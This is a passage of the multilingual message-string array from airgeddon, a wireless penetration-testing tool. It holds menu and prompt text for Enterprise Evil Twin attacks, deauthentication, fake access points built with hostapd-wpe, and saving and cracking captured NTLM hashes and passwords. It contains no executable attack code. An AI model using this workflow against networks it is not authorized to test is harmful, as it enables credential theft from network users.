\${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["CATALAN",514]="Interfície \${pink_color}\${current_iface_on_messages}\${blue_color} seleccionada. Mode: \${pink_color}\${ifacemode}\${blue_color}. Bandes suportades: \${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["PORTUGUESE",514]="Interface \${pink_color}\${current_iface_on_messages}\${blue_color} selecionada. Modo: \${pink_color}\${ifacemode}\${blue_color}. Banda(s) suportada(s): \${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["RUSSIAN",514]="Выбран интерфейс \${pink_color}\${current_iface_on_messages}\${blue_color}. Режим: \${pink_color}\${ifacemode}\${blue_color}. Поддерживаемые диапазоны: \${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["GREEK",514]="Η διεπαφή \${pink_color}\${current_iface_on_messages}\${blue_color} έχει επιλεχθεί. Κατάσταση: \${pink_color}\${ifacemode}\${blue_color}. Υποστηριζόμενες ζώνες: \${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["ITALIAN",514]="Interfaccia \${pink_color}\${current_iface_on_messages}\${blue_color} selezionata. Modalità: \${pink_color}\${ifacemode}\${blue_color}. Bande supportate: \${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["POLISH",514]="Wybrany został interfejs \${pink_color}\${current_iface_on_messages}\${blue_color}. Tryb: \${pink_color}\${ifacemode}\${blue_color}. Obsługiwane pasma: \${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["GERMAN",514]="Interface \${pink_color}\${current_iface_on_messages}\${blue_color} ausgewählt. Modus: \${pink_color}\${ifacemode}\${blue_color}. Unterstützte Bänder: \${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["TURKISH",514]="Arayüz \${pink_color}\${current_iface_on_messages}\${blue_color} seçildi. Mod: \${pink_color}\${ifacemode}\${blue_color}. Desteklenen bantlar: \${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["ARABIC",514]="\${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${blue_color} :النطاقات المتحملة .\${pink_color}\${ifacemode}\${blue_color} :الوضع .\${pink_color}\${current_iface_on_messages}\${blue_color} الواجهة\${normal_color}" arr["CHINESE",514]="已选择接口 \${pink_color}\${current_iface_on_messages}\${blue_color}。当前工作模式: \${pink_color}\${ifacemode}\${blue_color}。支持的频率: \${pink_color}\${interfaces_band_info['main_wifi_interface','text']}\${normal_color}" arr["ENGLISH",515]="You have selected a 5Ghz band channel but your wifi card doesn't support 5Ghz or it is disabled. The operation can't be performed" arr["SPANISH",515]="Tienes un canal de la banda de 5Ghz seleccionado pero tu tarjeta wifi no soporta 5Ghz o está desactivado. La operación no se puede llevar a cabo" arr["FRENCH",515]="Vous avez sélectionné un canal 5Ghz mais votre carte wifi n'accepte pas 5Ghz ou est désactivée. L'opération ne peut pas être effectuée" arr["CATALAN",515]="Tens un canal de la banda de 5Ghz seleccionat però la teva targeta wifi no suporta 5Ghz o està desactivada. L'operació no es pot dur a terme" arr["PORTUGUESE",515]="Você selecionou um canal da banda de 5Ghz, mas sua interface wifi não suporta 5Ghz ou foi desativada. A operação não pode ser realizada" arr["RUSSIAN",515]="Вы выбрали канал на частотах 5Ghz, но ваша wifi карта не поддерживает 5Ghz, или этот диапазон отключён. Операция не может быть выполнена" arr["GREEK",515]="Έχετε επιλέξει κανάλι της ζώνης 5Ghz, αλλά η κάρτα wifi σας δεν υποστηρίζει 5Ghz ή είναι απενεργοποιημένη. Η λειτουργία δεν μπορεί να πραγματοποιηθεί" arr["ITALIAN",515]="Hai selezionato un canale della banda 5Ghz, ma la tua scheda wifi non supporta 5Ghz o è disattivato. L'operazione non può essere eseguita" arr["POLISH",515]="Masz wybrane pasmo 5Ghz, lecz Twoja karta wifi go nie obsługuje lub jest ono wyłączone. Operacja nie może być wykonana" arr["GERMAN",515]="Sie haben einen Kanal des 5Ghz-Bandes ausgewählt, aber Ihre WLAN-Karte unterstützt 5Ghz nicht oder sie ist deaktiviert. Die Operation kann nicht ausgeführt werden" arr["TURKISH",515]="5Ghz bant kanalı seçtiniz, ancak wifi kartınız 5Ghz'yi desteklemiyor veya devre dışı bırakılmış. İşlem gerçekleştirilemiyor" arr["ARABIC",515]="الخاصة بك لا تدعم 5 جيجاهرتز أو تم تعطيلها. لا يمكن إجراء العملية wifi لقد حددت قناة نطاق 5 جيجاهرتز ولكن بطاقة" arr["CHINESE",515]="您选择了 5Ghz 频段信道,但您的 wifi 网卡不支持 5Ghz 或已禁用。操作无法执行" arr["ENGLISH",516]="It is known that the software used in the 5Ghz band still presents some problems sometimes. For example airodump, that when scanning networks can show a value \"-1\" on channel depending on the card chipset and the driver. It is also known that Ralink chipsets sometimes are getting errors on high channels" arr["SPANISH",516]="Es conocido que el software utilizado en la banda de 5Ghz aún presenta algunos problemas a veces. Como por ejemplo airodump, que al escanear redes puede mostrar un valor \"-1\" en el canal dependiendo del chipset de tu tarjeta y del driver. También es conocido que los chipsets Ralink a veces dan fallos en los canales altos" arr["FRENCH",516]="Il est connu que les logiciels utilisés dans la bande 5Ghz présente toujours quelques problèmes. Comme par exemple airodump, lors du scan des réseaux, peut montrer une valeur \"-1\" dans le canal en fonction du chipset de votre carte et le pilote. Il est également connu que les chipsets Ralink donnent parfois des échecs dans les canaux élevés" arr["CATALAN",516]="És conegut que el programari utilitzat en la banda de 5Ghz encara presenta alguns problemes de vegades. Com per exemple airodump, que al escanejar xarxes pot mostrar un valor \"-1\" al canal depenent del chipset de la targeta i del driver. També és conegut que els chipsets Ralink de vegades donen fallades en els canals alts" arr["PORTUGUESE",516]="O software usado para a banda de 5Ghz ainda apresenta alguns problemas. Como por exemplo airodump, que ao escanear as redes pode mostrar um valor \"-1\" no canal dependendo do chipset da sua interface e do driver. Também se sabe que os chipsets Ralink às vezes apresentaram falhas em canais altos" arr["RUSSIAN",516]="Известно, что программное обеспечение, используемое на частотах 5Ghz, все еще иногда вызывает некоторые проблемы. Например, airodump при сканировании сетей может отображать \"-1\" вместо значения канала, это зависит от чипсета вашей карты и драйвера. Известно также, что чипсеты Ralink иногда дают сбои в высоких каналах" arr["GREEK",516]="Είναι γνωστό ότι το λογισμικό που χρησιμοποιείται για την 5Ghz ζώνη εξακολουθεί να παρουσιάζει κάποια προβλήματα κατά καιρούς. Όπως για παράδειγμα το airodump, μπορεί να εμφανίσει την τιμή \"-1\" στη θέση του καναλιού καθώς γίνεται σάρωση, ανάλογα με το chipset της κάρτας σας και του προγράμματος οδήγησης (driver). Είναι επίσης γνωστό ότι τα Ralink chipsets μερικές φορές αποτυγχάνουν σε υψηλά κανάλια" arr["ITALIAN",516]="È noto che il software utilizzato dalla banda 5Ghz presenta ancora qualche problema. Come per esempio airodump, che durante la scansione delle reti può mostrare un valore \"-1\" nel canale a seconda del chipset della scheda di rete e del driver. È anche noto che i chipset Ralink a volte danno dei problemi nei canali alti" arr["POLISH",516]="Powszechnie wiadomo, że oprogramowanie używane w paśmie 5Ghz wciąż ma pewne problemy. Na przykład airodump, który podczas skanowania sieci może pokazywać wartość \"-1\" w kanale w zależności od chipsetu karty i sterownika. Wiadomo również, że chipsety Ralink czasami zawodzą w wysokich kanałach" arr["GERMAN",516]="Es ist bekannt, dass die Software, die im 5Ghz-Band verwendet wird, immer noch einige Probleme aufweist. Wie zum Beispiel airodump, dass beim Netzwerk-Scannen den Wert \"-1\" in den Kanal zeigt, abhängig von dem Chipset Ihrer Karte und des Treibers. Es ist auch bekannt, dass Ralink-Chipsätze manchmal Fehler in hohen Kanälen" arr["TURKISH",516]="5Ghz bandında kullanılan yazılımın bazen bazı problemler yaşadığı bilinmektedir. Örneğin airodump, ağları tararken, kart yonga setine ve sürücüye bağlı olarak kanalda \"-1\" değeri gösterebilir. Ralink yonga kümelerinin bazen yüksek kanallarda hatalar aldıkları da bilinir" arr["ARABIC",516]="تتعرض أحيانًا لأخطاء في القنوات العالية Ralink ومن المعروف أيضًا أن شرائح .Driverعند فحص الشبكات يمكن أن تظهر قيمة \"-1\" على القناة اعتمادًا على مجموعة شرائح البطاقة و ، airodump ،من المعروف أن البرنامج المستخدم في نطاق 5 جيجا هرتز لا يزال يعرض بعض المشاكل في بعض الأحيان. على سبيل المثال" arr["CHINESE",516]="众所周知,一些软件包在使用在 5Ghz 频段时仍然会出现一些问题。例如 airodump 在扫描网络时,根据不同的卡芯片组和驱动程序,有些时候可以在通道上显示值 \"-1\"。但 Ralink 芯片组有时会在较高频率的信道上出现错误" arr["ENGLISH",517]="Set channel (2.4Ghz 1-14) or (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["SPANISH",517]="Selecciona un canal (2.4Ghz 1-14) o (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["FRENCH",517]="Sélectionnez un canal (2.4Ghz 1-14) ou (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["CATALAN",517]="Seleccioni un canal (2.4Ghz 1-14) o (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["PORTUGUESE",517]="Escolha um canal (2.4Ghz 1-14) ou (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["RUSSIAN",517]="Установите канал (2.4Ghz 1-14) или (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["GREEK",517]="Θέστε κανάλι (2.4Ghz 1-14) ή (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["ITALIAN",517]="Seleziona un canale (2.4Ghz 1-14) o (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["POLISH",517]="Wybierz kanał (2.4Ghz 1-14) lub (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["GERMAN",517]="Wählen Sie einen Kanal aus (2.4Ghz 1-14) oder (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["TURKISH",517]="Kanal seç (2.4Ghz 1-14) or (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["ARABIC",517]="(2.4Ghz 1-14) أو (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112) :قم بتعيين القناة" arr["CHINESE",517]="设置信道 (2.4Ghz 1-14) 或 (5Ghz 36|38|40|44|46|48|52|54|56|60|62|64|100|102|104|108|110|112):" arr["ENGLISH",518]="After capturing credentials during an Enterprise network attack, remember that you can try to decrypt NTLM hashes using the \"Offline WPA/WPA2 decrypt menu\"" arr["SPANISH",518]="Tras capturar unas credenciales en un ataque a una red Enterprise, recuerda que puedes intentar descifrar los hashes NTLM usando el \"Menú de descifrado WPA/WPA2 offline\"" arr["FRENCH",518]="Après d'avoir capturé les identifiants de connexion dans une attaque réseau Enterprise, n'oubliez pas que vous pouvez essayer de déchiffrer les hasches NTLM en utilisant \"Menu crack WPA/WPA2 offline\"" arr["CATALAN",518]="Després de capturar unes credencials en un atac a una xarxa Enterprise, recorda que pots intentar desxifrar els hashes NTLM usant el \"Menú per desxifrar WPA/WPA2 offline\"" arr["PORTUGUESE",518]="Depois de capturar credenciais em um ataque de rede Enterprise, lembre-se de que você pode tentar descriptografar as hashes NTLM usando o \"Menu de descriptografia WPA/WPA2 offline\"" arr["RUSSIAN",518]="После захвата учетных данных в сетевой атаке Enterprise помните, что вы можете попытаться расшифровать NTLM хеши с помощью \"Меню офлайн расшифровки WPA/WPA2\"" arr["GREEK",518]="Αφού καταγράψετε τα certificates σε μια Enterprise επίθεση δικτύου, θυμηθείτε ότι μπορείτε να προσπαθήσετε να αποκρυπτογραφήσετε τα NTLM hashes χρησιμοποιώντας το \"Μενού offline αποκρυπτογράφησης WPA/WPA2\"" arr["ITALIAN",518]="Dopo aver catturato le credenziali in un attacco contro una rete Enterprise, ricorda che puoi provare a decifrare gli hash NTLM utilizzando il \"Menù per decifrare WPA/WPA2 offline\"" arr["POLISH",518]="Po przechwyceniu danych dostępowych w ataku na sieć Enterprise pamiętaj, że możesz spróbować złamać hash NTLM za pomocą \"Menu deszyfrowania WPA/WPA2 offline\"" arr["GERMAN",518]="Erinneren Sie sich dran, dass nach dem Erfassen von Credentials bei einem Enterprise-Netzwerkangriff Sie NTLM-Hashes mit dem \"Offline WPA/WPA2-Entschlüsselungsmenü\" entschlüsseln können" arr["TURKISH",518]="Enterprise ağ saldırısında kimlik bilgilerini aldıktan sonra, \"Çevrimdışı WPA/WPA2 decrypt menüsü\" kullanarak NTLM karmalarını çözmeyi deneyebilirsiniz" arr["ARABIC",518]="\"Offline WPA/WPA2 decrypt menu\" باستخدام NTLM تذكر أنه يمكنك محاولة فك تشفير تجزئات ، Enterprise بعد الحصول على بيانات الاعتماد أثناء هجوم على شبكة" arr["CHINESE",518]="在企业级加密的网络攻击期间捕获凭据后,请记住您可以尝试使用“离线 WPA/WPA2 解密菜单”来解密 NTLM 哈希" arr["ENGLISH",519]="11. Turkish" arr["SPANISH",519]="11. Turco" arr["FRENCH",519]="11. Turc" arr["CATALAN",519]="11. Turc" arr["PORTUGUESE",519]="11. Turco" arr["RUSSIAN",519]="11. Турецкий" arr["GREEK",519]="11. Τουρκικά" arr["ITALIAN",519]="11. Turco" arr["POLISH",519]="11. Turecki" arr["GERMAN",519]="11. Türkisch" arr["TURKISH",519]="11. Türkçe" arr["ARABIC",519]="11. التركية" arr["CHINESE",519]="11. 土耳其语" arr["ENGLISH",520]="Enterprise Evil Twin deauth" arr["SPANISH",520]="Desautenticación para Evil Twin Enterprise" arr["FRENCH",520]="Dés-authentication pour Evil Twin Enterprise" arr["CATALAN",520]="Desautenticació per Evil Twin Enterprise" arr["PORTUGUESE",520]="Desautenticação para Evil Twin Enterprise" arr["RUSSIAN",520]="Деаутентификация для Enterprise Evil Twin" arr["GREEK",520]="Enterprise Evil Twin deauth" arr["ITALIAN",520]="Desautenticazione per Evil Twin Enterprise" arr["POLISH",520]="Deautentykacja dla Evil Twin Enterprise" arr["GERMAN",520]="Evil Twin Enterprise Deauthentifizierung" arr["TURKISH",520]="Enterprise Şeytani İkiz deauth" arr["ARABIC",520]="Evil Twin Enterprise إلغاء المصادقة لـ" arr["CHINESE",520]="企业级加密的邪恶双胞胎攻击死亡" arr["ENGLISH",521]="0. Return to Enterprise attacks menu" arr["SPANISH",521]="0. Volver al menú de ataques Enterprise" arr["FRENCH",521]="0. Retour au menu d'attaques Enterprise" arr["CATALAN",521]="0. Tornar al menú d'atacs Enterprise" arr["PORTUGUESE",521]="0. Voltar ao menu de ataques Enterprise" arr["RUSSIAN",521]="0. Вернуться в меню атак Enterprise" arr["GREEK",521]="0. Επιστροφή στο μενού επιθέσεων Enterprise" arr["ITALIAN",521]="0. Tornare al menu degli attacchi Enterprise" arr["POLISH",521]="0. Wróć do menu ataków Enterprise" arr["GERMAN",521]="0. Zurück zum Enterprise Angriffsmenü" arr["TURKISH",521]="0. Enterprise Şeytani İkiz saldırı menüsüne geri dön" arr["ARABIC",521]="0. Enterprise العودة إلى قائمة هجمات" arr["CHINESE",521]="0. 返回企业级加密攻击菜单" arr["ENGLISH",522]="Smooth mode Enterprise Evil Twin" arr["SPANISH",522]="Evil Twin Enterprise modo smooth" arr["FRENCH",522]="Evil Twin Enterprise mode silencieux" arr["CATALAN",522]="Evil Twin Enterprise mode smooth" arr["PORTUGUESE",522]="Evil Twin Enterprise (discreto)" arr["RUSSIAN",522]="Smooth режим Enterprise Evil Twin" arr["GREEK",522]="Smooth mode Enterprise Evil Twin" arr["ITALIAN",522]="Evil Twin Enterprise modalità smooth" arr["POLISH",522]="Enterprise Evil Twin w trybie smooth" arr["GERMAN",522]="Smooth-Modus Enterprise Evil Twin" arr["TURKISH",522]="Smooth mod Enterprise Şeytani İkiz" arr["ARABIC",522]="Smooth mode Enterprise Evil Twin وضع" arr["CHINESE",522]="平滑模式下针对企业级加密的邪恶双胞胎攻击" arr["ENGLISH",523]="Noisy mode Enterprise Evil Twin" arr["SPANISH",523]="Evil Twin Enterprise modo noisy" arr["FRENCH",523]="Evil Twin Enterprise mode bruyant" arr["CATALAN",523]="Evil Twin Enterprise mode noisy" arr["PORTUGUESE",523]="Evil Twin Enterprise (agressivo)" arr["RUSSIAN",523]="Noisy режим Enterprise Evil Twin" arr["GREEK",523]="Noisy mode Enterprise Evil Twin" arr["ITALIAN",523]="Evil Twin Enterprise modalità noisy" arr["POLISH",523]="Enterprise Evil Twin w trybie noisy" arr["GERMAN",523]="Noisy-Modus Enterprise Evil Twin" arr["TURKISH",523]="Noisy mod Enterprise Şeytani İkiz" arr["ARABIC",523]="Noisy mode Enterprise Evil Twin وضع" arr["CHINESE",523]="嘈杂模式下针对企业级加密的邪恶双胞胎攻击" arr["ENGLISH",524]="Enterprise Evil Twin attack has been started. Press [Enter] key on this window to stop it" arr["SPANISH",524]="El ataque Evil Twin Enterprise ha comenzado. Pulse la tecla [Enter] en esta ventana para pararlo" arr["FRENCH",524]="L'attaque Evil Twin Enterprise a commencé. Appuyez sur [Enter] pour arrêter" arr["CATALAN",524]="L'atac Evil Twin Enterprise ha començat. Prem [Enter] a aquesta finestra per aturar-lo" arr["PORTUGUESE",524]="Ataque Evil Twin Enterprise iniciado. Pressione a tecla [Enter] nesta janela para interrompê-lo" arr["RUSSIAN",524]="Атака Злой Двойник начата. Для её остановки клавишу [Enter] в этом окне" arr["GREEK",524]="Η επίθεση Enterprise Evil Twin ξεκίνησε. Πατήστε το κουμπί [Enter] σε αυτό το παράθυρο για να την σταματήσετε" arr["ITALIAN",524]="L'attacco Evil Twin Enterprise è iniziato. Premere il tasto [Enter] in questa finestra per fermarlo" arr["POLISH",524]="Rozpoczął się atak Evil Twin Enterprise. Naciśnij klawisz [Enter] w tym oknie, aby go zatrzymać" arr["GERMAN",524]="Der Evil-Twin-Enterprise-Angriff hat begonnen. Drücken Sie die [Enter]-Taste in diesem Fenster, um es zu stoppen" arr["TURKISH",524]="Enterprise Şeytani İkiz saldırısı başlatıldı. Durdurmak için bu pencerede [Enter] tuşlayınız" arr["ARABIC",524]="في هذه النافذة لإيقافه [Enter] اضغط على مفتاح .Enterprise Evil Twin بدأ هجوم" arr["CHINESE",524]="针对企业级加密的邪恶双胞胎攻击已经开始。在此窗口中按 [Enter] 键停止攻击" arr["ENGLISH",525]="If a hash or password is obtained during the Evil Twin Enterprise attack, you should decide where to save it. \${green_color} More than one file will be saved, type the path (directory) to store the file/s. If the directory does not exist, airgeddon will create it. Press [Enter] to accept the default proposal \${normal_color}[\${enterprise_potpath}]" arr["SPANISH",525]="Si se consigue capturar algún hash o contraseña durante el ataque Evil Twin Enterprise, hay que decidir donde guardarlo. \${green_color}Se guardarán varios ficheros, escribe la ruta (el directorio) donde escribiremos el/los fichero/s. Si en directorio no existe, airgeddon lo generará. Pulsa [Enter] para aceptar la ruta propuesta por defecto \${normal_color}[\${enterprise_potpath}]" arr["FRENCH",525]="Si on a succés en capturer un hash ou un mot de passe lors de l'attaque de Evil Twin Enterprise, vous devez décider de l'emplacement de sauvegarde. \${green_color}Plusieurs fichiers seront sauvegardés, écrivez le chemin (le répertoire) où nous écrirons le/s fichier/s. Si le répertoire n'existe pas, airgeddon le générera. Appuyez sur [Enter] pour accepter l'itinéraire proposé par défaut \${normal_color}[\${enterprise_potpath}]" arr["CATALAN",525]="Si s'aconsegueix capturar algun hash o contrasenya durant l'atac Evil Twin Enterprise, cal decidir on guardar-lo. \${green_color}Es guardaran diversos fitxers, escriu la ruta (directori) on escriurem el/s fitxer/s. Si en directori no existeix, airgeddon el generarà. Prem [Enter] per acceptar la ruta proposada per defecte \${normal_color}[\${enterprise_potpath}]" arr["PORTUGUESE",525]="Se você conseguir capturar uma hash ou senha durante o ataque Evil Twin Enterprise, terá que decidir onde salvá-lo. \${green_color} Vários arquivos serão salvos, escreva o caminho (diretório) onde iremos escrever o(s) arquivo(s). Se o diretório não existir o airgeddon irá criá-lo. Pressione [Enter] para aceitar o padrão \${normal_color}[\${enterprise_potpath}]" arr["RUSSIAN",525]="Если во время атаки Evil Twin Enterprise получен хеш или пароль, вы должны решить, где его сохранить. \${green_color}Будет сохранено более одного файла, введите путь (каталог) для хранения файла(ов). Если каталог не существует, airgeddon создаст его. Нажмите [Enter], чтобы принять предложение по умолчанию \${normal_color}[\${enterprise_potpath}]" arr["GREEK",525]="Εάν κατά τη διάρκεια της επίθεσης Enterprise Evil Twin προκύψει ένα hash ή ένας κωδικός πρόσβασης, θα πρέπει να αποφασίσετε πού να το αποθηκεύσετε. \${green_color}Θα αποθηκευτούν περισσότερα από ένα αρχεία, πληκτρολογήστε το path (κατάλογος) για την αποθήκευση των αρχείων. Εάν ο κατάλογος δεν υπάρχει, το airgeddon θα το δημιουργήσει. Πατήστε [Enter] για να αποδεχθείτε την προεπιλεγμένη επιλογή \${normal_color}[\${enterprise_potpath}]" arr["ITALIAN",525]="Se riesci a catturare un hash o una password durante l'attacco Evil Twin Enterprise, devi decidere dove salvarlo. \${green_color}Diversi file verranno salvati, scrivi il percorso (la directory) in cui i file saranno scritti. Se la directory non esiste, airgeddon la genererà. Premere [Enter] per accettare il percorso predefinito proposto \${normal_color}[\${enterprise_potpath}]" arr["POLISH",525]="Jeśli uda ci się zdobyć hash lub hasło podczas ataku Evil Twin Enterprise, musisz zdecydować gdzie je zapisać. \${green_color}Zostanie zapisany wiecej niż jeden plik, podaj ścieżkę (katalog) dla plik(ów). Jeśli katalog nie istnieje, airgeddon go utworzy. Naciśnij [Enter], aby zaakceptować domyślną proponowaną ścieżkę \${normal_color}[\${enterprise_potpath}]" arr["GERMAN",525]="Wenn Sie während des Evil Twin Enterprise Angriffs einen Hash oder ein Passwort erfassen, müssen Sie entscheiden, wo es gespeichert werden soll. \${green_color}Mehrere Dateien werden gespeichert. Geben Sie den Pfad (das Verzeichnis) ein, in dem wir die Datei(en) schreiben werden. Wenn das Verzeichnis nicht vorhanden ist, wird es von airgeddon erstellt. Bestätigen Sie mit [Enter], um die standardmäßig vorgeschlagene Route zu akzeptieren \${normal_color}[\${enterprise_potpath}]" arr["TURKISH",525]="Enterprise Şeytani İkiz saldırısı sırasında bir şifre yakalamayı başarabilirseniz, nereye kaydedeceğinize karar vermeniz gerekir. \${green_color}Birkaç dosya kaydedilecek, dosya (lar) ı yazacağımız yolu (dizin) yazacağız. Dizini yoksa, airgeddon onu üretecektir. Önerilen önerilen yolu kabul etmek için [Enter] tuşuna basın \${normal_color}[\${enterprise_potpath}]" arr["ARABIC",525]="\${normal_color}[\${enterprise_potpath}]\${green_color} لقبول الاقتراح [Enter] بإنشائه. اضغط على airgeddon فيجب أن تقرر مكان حفظها\${blue_color} .سيتم حفظ أكثر من ملف ، اكتب المسار (الدليل) لتخزين الملف/ الملفات. إذا كان الدليل غير موجود ، فسيقوم ،Evil Twin Enterprise إذا تم الحصول على تجزئة أو كلمة مرور أثناء هجوم\${normal_color}" arr["CHINESE",525]="如果在针对企业级加密的邪恶双胞胎攻击期间获得哈希或密码,您应该决定将其保存在何处。\${green_color} 可能会保存多个文件,请输入文件存放路径 (目录) 。如果该目录不存在,airgeddon 将创建它。或按 [Enter] 接受默认建议 \${normal_color}[\${enterprise_potpath}]" arr["ENGLISH",526]="Directory does not exist or you don't have permission to write" arr["SPANISH",526]="El directorio no existe o no tienes permisos de escritura" arr["FRENCH",526]="Le répertoire n'existe pas ou vous n'avez pas des pwrmis d'écriture" arr["CATALAN",526]="El directori no existeix o no tens permisos d'escriptura" arr["PORTUGUESE",526]="O diretório não existe ou você não tem permissão de escrita" arr["RUSSIAN",526]="Каталог не существует или у вас нет разрешения на запись" arr["GREEK",526]="Ο κατάλογος δεν υπάρχει ή δεν έχετε άδεια εγγραφής" arr["ITALIAN",526]="La directory non esiste o non hai i permessi di scrittura" arr["POLISH",526]="Katalog nie istnieje lub nie masz uprawnień do zapisu" arr["GERMAN",526]="Verzeichnis existiert nicht oder Sie haben keine Schreibberechtigung" arr["TURKISH",526]="Dizin mevcut değil veya yazma izniniz yok" arr["ARABIC",526]="الدليل غير موجود أو ليس لديك إذن بالكتابة" arr["CHINESE",526]="目录不存在或您没有写入权限" arr["ENGLISH",527]="WPA/WPA2/WPA3 and Enterprise filter enabled. It's not possible to filter Enterprise networks during the scan, the filter will be applied in network selection menu in which only Enterprise networks will be shown. When started, press [Ctrl+C] to stop..." arr["SPANISH",527]="Filtro WPA/WPA2/WPA3 y Enterprise activado. Durante el escaneo no es posible filtrar redes Enterprise, el filtro se aplicará en la pantalla de selección de red donde solo se mostrarán redes Enterprise. Una vez empezado, pulse [Ctrl+C] para pararlo..." arr["FRENCH",527]="Filtre WPA/WPA2/WPA3 et Enterprise activés. Pendant l'analyse, il n'est pas possible de filtrer les réseaux Enterprise. Le filtre sera appliqué dans l'écran de sélection du réseau où seuls les réseaux Enterprise seront affichés. Une fois commencé, appuyez sur [Ctrl+C] pour l'arrêter..." arr["CATALAN",527]="Filtre WPA/WPA2/WPA3 i Enterprise activat. Durant l'escaneig no és possible filtrar xarxes Enterprise, el filtre s'aplicarà a la pantalla de selecció de xarxa on només es mostraran xarxes Enterprise. Un cop començat, premeu [Ctrl+C] per aturar-lo..." arr["PORTUGUESE",527]="Filtros: WPA/WPA2/WPA3 e Enterprise ativos. Durante a verificação, não é possível filtrar redes Enterprise, o filtro será aplicado na tela de seleção de rede, onde apenas as redes Enterprise serão exibidas. Uma vez iniciado, pressione [Ctrl+C] para pará-lo..." arr["RUSSIAN",527]="WPA/WPA2/WPA3 и фильтр Enterprise включён. Во время сканирования невозможно фильтровать сети Enterprise, фильтр будет применяться в меню выбора сети, в котором будут показаны только сети Enterprise. После запуска для остановки нажмите [Ctrl+C]..." arr["GREEK",527]="Το WPA/WPA2/WPA3 και Enterprise φίλτρο είναι ενεργοποιημένο. Δεν είναι δυνατό να φιλτράρετε τα Enterprise δίκτυα κατά τη διάρκεια της σάρωσης, το φίλτρο θα εφαρμοστεί στο μενού επιλογής δικτύου στο οποίο θα εμφανίζονται μόνο τα Enterprise δίκτυα. Όταν ξεκινήσετε, πατήστε [Ctrl+C] για να σταματήσετε..." arr["ITALIAN",527]="Filtro WPA/WPA2/WPA3 e Enterprise attivato. Durante la scansione non è possibile filtrare le reti Enterprise, il filtro verrà applicato nella schermata di selezione della rete in cui verranno visualizzate solo le reti Enterprise. Una volta avviato, premi [Ctrl+C] per fermarlo..." arr["POLISH",527]="Włączone filtry WPA/WPA2/WPA3 i Enterprise. Nie można filtrować sieci Enterprise podczas skanowania, filtr zostanie zastosowany w menu wyboru sieci, w którym wyświetlane będą tylko sieci Enterprise. Naciśnij w trackie działania [Ctrl+C], aby zatrzymać..." arr["GERMAN",527]="WPA/WPA2/WPA3- und Enterprise-Filter aktiviert. Es ist nicht möglich, Enterprise-Netzwerke während des Scans zu filtern. Der Filter wird im Netzwerkauswahlmenü angewendet, in dem nur Enterprise-Netzwerke angezeigt werden. Einmal angefangem, drücken Sie [Ctrl+C], um zu stoppen..." arr["TURKISH",527]="WPA/WPA2/WPA3 ve Enterprise filtre etkinleştirildi. Tarama sırasında Enterprise ağları filtrelemek mümkün değildir, filtre yalnızca Enterprise ağların gösterileceği ağ seçim menüsünde uygulanacaktır. Başladığınızda, durdurmak için [Ctrl+C] tuşlarına basın..." arr["ARABIC",527]="...للإيقاف [Ctrl+C] عند البدء ، اضغط على .فقط Enterprise أثناء الفحص ، سيتم تطبيق عامل التصفية في قائمة اختيار الشبكة حيث سيتم عرض شبكات Enterprise لا يمكن تصفية شبكات .Enterprise و WPA/WPA2/WPA3 تم تفعيل عامل تصفية" arr["CHINESE",527]="WPA/WPA2/WPA3 和企业级加密过滤器已启用。但是扫描期间无法过滤企业级加密的网络,过滤器将应用于网络选择菜单,其中仅显示企业级加密的网络。启动时,按 [Ctrl+C] 停止..." arr["ENGLISH",528]="It has been detected that you are running airgeddon inside a Docker container. During this attack hostapd-wpe is used to create a fake AP. This component often conflicts with network-manager. From inside the container, airgeddon can't handle it. If you have network-manager installed on your host machine, close it or kill the conflicting processes or you'll get an error. For more information, see the Docker section of the Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["SPANISH",528]="Se ha detectado que estás ejecutando airgeddon en un contenedor de Docker. En este ataque se utiliza hostapd-wpe para crear un falso AP. Este componente suele dar conflicto con network-manager. Desde el contenedor, airgeddon no puede gestionarlo. Si tienes network-manager instalado en tu máquina host, ciérralo o mata los procesos en conflicto u obtendrás un error. Para más información consulta la sección Docker del Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["FRENCH",528]="Il a été détecté qu'airgeddon a été lancé depuis un conteneur Docker. Cette attaque à besoin d'hostapd-wpe pour créer un Point d'Accès piège. Hostapd a tendance à entrer en conflit avec network-manager et airgeddon ne peut pas le gérer depuis le conteneur. Si network-manager est installé sur votre machine host, arrêtez ou tuez les processus conflictuels. Dans le cas contraire vous obtiendrez une erreur. Pour plus d'informations, consultez la section Docker de notre Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["CATALAN",528]="S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd-wpe per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat a la teua màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: \${normal_color}\${urlgithub_wiki}/Docker" 